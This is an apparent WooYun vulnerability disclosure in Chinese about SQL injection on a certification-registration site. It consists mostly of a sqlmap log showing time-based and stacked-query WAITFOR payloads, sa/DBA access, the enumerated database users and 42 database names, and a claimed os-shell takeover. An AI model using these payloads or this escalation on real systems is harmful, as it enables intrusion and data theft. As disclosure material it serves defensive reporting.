当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167121

漏洞标题:执业师之家某处存在SQL注入(DBA权限+涉及42个库+可os-shell)

相关厂商:广东省信息安全测评中心

漏洞作者: 路人甲

提交时间:2016-01-05 23:32

修复时间:2016-02-20 15:48

公开时间:2016-02-20 15:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-20: 细节向公众公开

简要描述:

——

详细说明:

注入点:

http://**.**.**.**/zys/search/?action=list&bid=0&key=1


key存在注入,为时间盲注,比较慢

[22:29:22] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:29:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: key
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=list&bid=0&key=1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: action=list&bid=0&key=1' WAITFOR DELAY '0:0:5'--
---
[22:29:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[22:29:23] [INFO] fetching current user
[22:29:23] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[22:29:23] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[22:29:29] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
[22:29:40] [INFO] adjusting time delay to 1 second due to good response times
s
[22:29:47] [ERROR] invalid character detected. retrying..
[22:29:47] [WARNING] increasing time delay to 2 seconds
a
current user: 'sa'
[22:29:52] [INFO] fetching current database
[22:29:52] [INFO] retrieved: Zys2010
current database: 'Zys2010'
[22:30:49] [INFO] testing if current user is DBA
current user is DBA: True
database management system users [9]:
[*] dbtest
[*] GDWSBSDT
[*] gdzczx
[*] gdzczx5026
[*] sa
[*] smartsoft
[*] smartsoft_test
[*] vc
[*] xzxk
available databases [42]:
[*] [gdzczx5000-2014-1]
[*] [gdzczx5000-2014]
[*] [gdzczx5000-2015]
[*] [gdzczx5000-618]
[*] [gdzczx5000_2014-1-15]
[*] [gdzczx5000_2014-2-13]
[*] [gdzczx5000_2014-2-20]
[*] [gdzczx9000-copy]
[*] [RegisterManager_Test]
[*] [YM_Test]
[*] gdzczx
[*] gdzczx5000
[*] gdzczx50009888888888
[*] gdzczx50009999999999
[*] gdzczx5000_20121008
[*] gdzczx5001
[*] gdzczx5026
[*] gdzczx5027
[*] gdzczx5028
[*] gdzczx5029
[*] gdzczx_web
[*] gdzczx_web2013
[*] master
[*] model
[*] msdb
[*] QueryWork
[*] RegisterManager
[*] RegisterManager_CXXT
[*] ReportServer
[*] ReportServerTempDB
[*] Spider
[*] tempdb
[*] test
[*] TestRM
[*] XZXK
[*] XZXK5026
[*] XZXK5099
[*] Zys2010
[*] Zys2010_Test
[*] Zys2010_Test20121113
[*] 二级建造师_北京
[*] 延续注册名单


42个数据库,又跟广东省建设执业资格注册中心挂在一起,数据量很大,因为是时间盲注,就不继续了!~~~

101.jpg


102.jpg


上面测试是DBA权限,试试os-shell,发现可以控制!~~~
而且权限很大!~~~
测试几个命令看看!~~~

103.jpg


104.jpg

漏洞证明:

如上

修复方案:

你们懂!~~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-08 11:08

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:10
正在联系相关网站管理单位处置。

最新状态:

暂无